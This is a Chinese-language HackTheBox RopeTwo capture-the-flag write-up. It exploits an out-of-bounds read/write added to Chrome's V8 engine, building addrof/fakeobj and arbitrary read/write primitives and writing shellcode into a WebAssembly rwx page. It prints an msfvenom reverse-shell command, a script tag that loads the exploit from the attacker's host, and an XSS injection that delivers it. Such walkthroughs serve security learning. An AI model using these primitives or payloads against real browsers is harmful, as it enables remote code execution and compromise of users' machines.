HackTheBox-RopeTwo-[PWN-Chrome-V8引擎]
摘要
V8是由Google开发的著名浏览器Chrome的JavaScript引擎。
此篇文章专门记录hack the box - ropetwo机器中的chrome浏览器v8引擎的pwn部分。
step1-环境搭建及工具安装
在开始实验之前,先把所有环境准备好,本人实验环境是在ubuntu 16.04.1 amd64位的vm虚拟机下进行的。
- 安装google的depot_tools
1 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git |
- 安装gdb和gdb功能增强插件gef
1 | apt-get install gdb |
- GEF github
1 | # 手动安装并导入gdb初始化文件 |
- fetch google v8引擎
fetch之前,请想办法解决让整个ubuntu系统的流量全部走代理,不然会fetch失败
- fetch之前先运行以下的命令,初始化gclient工具集,使gclient工具集保持完整,没有这一步,之后的fetch v8一定会失败报错。。。
1 | gclient |
接着下载V8的代码以及生成项目文件。fetch v8刚开始的时候会有很长一段时间卡住不动,只是没有输出而已,只要没有报错,就是在正常运行,耐心等待就好了。
1 | # 下载v8的repo和必要依赖 |
至此所有环境已搭建完毕,之后会介绍编译v8源码成d8的debug和release的版本便于调试, x64.release和x64.debug这两个文件夹中都有一个数据库二进制文件。debug版本将在REPL中提供更多信息,但它不允许在不崩溃(支持fuzzing)的情况下进行越限的读/写,所以在开始时使用release版本。
step2
连接openvpn到rope2的ip地址,然后下载如下commit的diff文件
1 | http://10.10.10.196:5000/root/v8/commit/7410f6809dd33e317f11f39ceaebaba9a88ea970 |
点击Options的Plain Diff即可下载.diff文件
然后到如下链接,点击Download下载具有漏洞的chrome浏览器
1 | http://10.10.10.196:8000/ |
然后拷贝r4j之前的一个commit备用
1 | http://gitlab.rope2.htb:5000/root/v8/commits/master |
1 | d91e8d8fca64679c8df05603b5ff7e58709c4801 |
step3-编译有漏洞的v8源码
1 | $ git checkout d91e8d8fca64679c8df05603b5ff7e58709c4801 |
step4-开始分析调试
唯一的障碍会偶然发现在这个挑战是指针压缩,这使得在32位地址表示,导致泄漏很难取得成功, 因为隔离root, 上一个地址的32位值用于访问数据在V8堆成了一个问题。但是提到了不需要知道隔离root地址,如果能够设法处理漏洞,得到fakeobj和addrof原语,那么就可以通过指针压缩,这将不会是一个问题。
首先,需要分析补丁文件,这样就能发现哪些提交了特别的推送更改,并将其准确地推送到:
1 | root@luci:~/v8build/rope2# cat patch.diff |
这里的/src/builtins/builtins-array.c用来表示添加了一些新函数,这里提到了以下两个添加的函数是ArrayGetLastElement和ArraySetLastElement,逐个分解它们:
ArrayGetLastElement顾名思义,它从数组中最后一个元素,首先计算长度的变量len返回元素存储为len指数,现在i = f注意这里,这里的len是绝对长度的数组,因为数组索引从0开始,要访问第0个元素,使用数组[0],但在这里,因为元素存储在数组中,在len索引处的值因此允许对1个元素进行越界读取。
ArraySetLastElement正如名字所说,这个内置函数保存价值的最后索引数组,现在这里,前面的函数,len是计算数组的长度,然后将覆盖指数,定义的元素数组元素(指数)=。是的,在这里也有越界的写,但是只写了一个元素。
所以,如上所述,知道有两个函数,使用,以利用这个特定的二进制补丁,并最终chrome浏览器。
因为这也是一篇非常详细的博客文章,所以将先理解这些概念,然后再继续讨论。
由于JavaScript是一种动态类型语言,引擎必须将类型信息与每个运行时值一起存储。在v8中,这是通过指针标记和专用类型信息对象(称为映射)的结合来实现的。这些映射用于跟踪在运行时创建的对象,因为这是对象的处理方式,覆盖映射会导致V8引擎内部的一些类型混淆。
到目前为止,你可能在想究竟如何访问map,最重要的是“如何识别map?”,为此使用了调试版本的d8二进制文件。与allow-natives-syntax将二进制运行时允许您使用
1 | %DebugPrint(<object>) |
将打印对象的相关信息,比方说,例如,声明的数组元素,然后使用%DebugPrint (arr)获得所有关于一个对象的信息包括但不限于:
- map的地址
- 元素的指针
- 类型信息等
1 | root@luci:~/v8build/v8/out.gn/x64.debug# gdb ./d8 |
分解,现在有arr位于0x1201080c5e45 JSArray类型的,它的map位于0x120108281909,除此之外,根据这些信息,它有一个map的PACKED_DOUBLE_ELEMENTS arr引用有两类型的元素。元素指针位于0x1201080c5e25,长度为3,类型为FixedDoubleArray。现在,使用gdb检查arr周围的内存内容。
- 为了检查地址的内存内容,需要从地址中减去1,这样就得到了用于分析的绝对地址。
1 | gef➤ x/4wx 0x1201080c5e45 - 1 |
从调试信息(使用%DebugPrint(arr))和gdb输出中,可以看到第一个元素属于数组本身的映射,第二个属于属性,第三个属于元素数组。如果你注意,使用了x/wx地址显示为32位表示,这里是,提交的版本的V8引擎集成后指针压缩,使1是地址的32位整数。
1 | gef➤ x/5xg 0x1201080c5e25 - 1 |
现在,因为知道了一个数组是如何表示到V8堆中的,也知道有一个读写漏洞,得出结论,有能力覆盖对象的映射。记住这一点,继续:
首先,需要使实用函数能够处理指针标记并将浮点值更改为小数,反之亦然。下面的JavaScript函数将完成上述工作:
1 | var buf = new ArrayBuffer(8); // 8 byte array buffer |
上述函数用于将浮点数转换为整数,将整数转换为浮点数,因为内存地址将被它们所尊重的值覆盖为浮点数,所以需要它们。
继续,需要创建一些浮点数组,为了获得所需的泄漏,还需要它们来执行fakeobj和addrof原语,废话不多说,开始:
1 | var float_arr = [1.1, 2.2, 3.3, 4.4, 5.5]; |
这些变量将进一步涉及到利用,接下来,需要得到addrof原语,这意味着需要利用off来读取对象的地址,看看:
1 | var float_arr_map = ftoi(float_arr.GetLastElement(), 32) |
这里,首先得到float_arr的map地址和reg数组,然后有一个函数叫做addrof,这需要一个对象将对象地址需要的地址作为参数,要做的是首先用reg数组覆盖float_arr映射的map对象,这意味着,到目前为止,float_arr指向的地址映射reg数组,然后使float_arr的对象需要的地址作为第一个对象,然后将float_arr的映射放回到它原来的位置。
考虑到,有一个map泄漏,如果试图读取存储在该地址的内容,它将导致:
随着v8 利用的进行,需要一个fakeobj原语。fakeobj函数如下:
1 | function fakeobj(addr) { |
来谈谈fakeobj函数,这种原始的,在这个漏洞和特定的上下文中,把假的对象的地址,想把它放置到float_arr的第一个元素,然后改变了float_arr map到reg数组的map,所以往往从第0个索引来访问数据,其工作原理是:
把想要覆盖另一个对象的对象地址覆盖
将float_arr的映射设置为reg的映射
从float_arr中获取假对象
把float_arr的map放回原来的位置
这些原语是在进入读/写原语之前需要的,不过有了这些原语,现在可以处理函数arb_read和arb_write,这两个函数分别用于从一个地址的值中读地址或从一个地址的值中写地址。
继续,对任意读函数感兴趣,将尽力解释,目前,考虑下面的函数,它用于从任意地址读取值:
1 | var rw_helper = [itof(float_arr_map, 64), 1.1, 2.2, 3.3]; |
第一这个函数是通过fakeobj函数制造一个假的对象,然后把想读的地址,写rw_helper数组的第一个指数,然后第一个元素假的对象是错误的,这是函数的跟进,导致整个逻辑的理解,d8二进制解释步骤:
使用rw_helper的地址创建fakeobj,从中减去0x20,因为32个字节是用于内存布局的,在本例中,这样做是因为:
1 | root@luci:~/v8build/v8/out.gn/x64.release# gdb ./d8 |
对于write函数,它的工作原理与read函数相同:
1 | function arb_write(addr, value) { |
如果把逻辑分解:
- 如果与arb_read的函数相比,它将覆盖存储在第一个下标处的值,而不是返回假数组的第一个值,这是伪造对象的结果。
1 | return ftoi(fake[0], 64); |
以上来自arb_read。
1 | fake[0] = itof(value, 64); |
这是通过覆盖其它返回值读取函数,从这里利用下去,所说的在WebAssembly Page in JS,所以一开始,不能用经典的使用pwn挑战的方法使用system __free_hook覆盖,然后生成一个shell,在基于v8的挑战, 主要是CTFs,这是通过创建一个wasm函数来完成的,它将导致在程序的内存布局中创建一个rwx权限页,从这里的方法如下:
- 找到rwx段地址,计算它的地址。
- 将shellcode写入rwx段的区域。
- 调用前面创建的wasm函数,因为shellcode将写入该函数,调用它最终将导致shellcode执行。
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3, |
这是用于创建rwx部分的pwn函数的JS代码,这一步先放在一边,继续:
1 | var wasm_instance_addr = addrof(wasm_instance) & 0xffffffffn; |
首先,需要找到rwx段的基地址,这是很容易找到的,要做的是找到的地址正是位于存储到内存和抵消,使用gef的
1 | search-pattern rwx_address |
发现内存的引用位于抵消wasm_instance_addr + 0x68:
1 | gef➤ vmmap |
解决上面的问题,需要知道如何使用DataView和ArrayBuffer,因为这将帮助用所需的值覆盖地址,简而言之,这两个函数允许使用ArrayBuffer以二进制格式写入数据。
1 | console.log("[+] Wasm instance address: 0x" + wasm_instance_addr.toString(16)); |
ArrayBuffer的后备存储可以看作是JSArray的元素指针。它可以在offset &ArrayBuffer+0x14找到,可以通过使用d8二进制文件的x64.debug版本找到它。其原理是,不使用fakeobj直接写入任意地址,而是使用fakeobj执行arb-write操作,并修改合法ArrayBuffer的后备存储到任意地址,在本例中,该后备存储将被rwx段覆盖。现在,可以使用dataview.setBigUint64(0, val, true)将val作为64位小端值写入任意地址。如下所示:
- 使用msfvenom生成shellcode并放入以下的js代码中
1 | msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.177.128 LPORT=4222 -f num |
1 | var arr_buf_addr = addrof(arr_buf) & 0xffffffffn;; |
现在,只需要调用函数pwn就可以执行shellcode了:
1 | pwn(); |
以./d8 ./xpl.js的命令运行该漏洞js脚本,将能成功收到一个reverse shell:
1 | root@luci:~/v8build/v8/out.gn/x64.release# ./d8 /root/v8build/rope2/xpl.js |
1 | ┌──(root💀kali)-[~/test] |
在d8上有效,必须试试之前从端口8000下载的chrome二进制文件,运行攻击测试,制作一个HTML文件包含xpl.js文件,这里的想法是使用–no-sandbox最终意味着没有沙箱逃逸是和系统上执行的所有JIT代码HTML文件本身:
1 | <html> |
运行给定的chrome二进制文件:./chrome/chrome –no-sandbox ./xpl.html会反弹一个reverse shell:
1 | ┌──(root💀kali)-[~/test] |
漏洞利用成功
现在,先把这个放在一边,首先重新更改ip地址然后生成shellcode,使用这个漏洞来获得reverse shell,最终的漏洞利用js脚本看起来像这样:
1 | msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4222 -f num |
- xpl.js
1 | var float_arr = [1.1, 2.2, 3.3, 4.4, 5.5]; |
现在,问题是,应该把这个漏洞利用在哪里,在任何端口上都没有运行chrome实例,但随后,端口8000,在这一点上,评论模板可能XSS漏洞,这是唯一的方法,似乎可行,所以exploit
1 | <script src="http://10.10.14.12/xpl.js"></script> |
插入到消息框中,netcat监听器等待连接,得到了chromeuser的shell
1 | root@luci:~/v8build/rope2# python -m SimpleHTTPServer 80 |
1 | root@luci:/home/user# nc -lvp 4222 |
we finally success! amazing!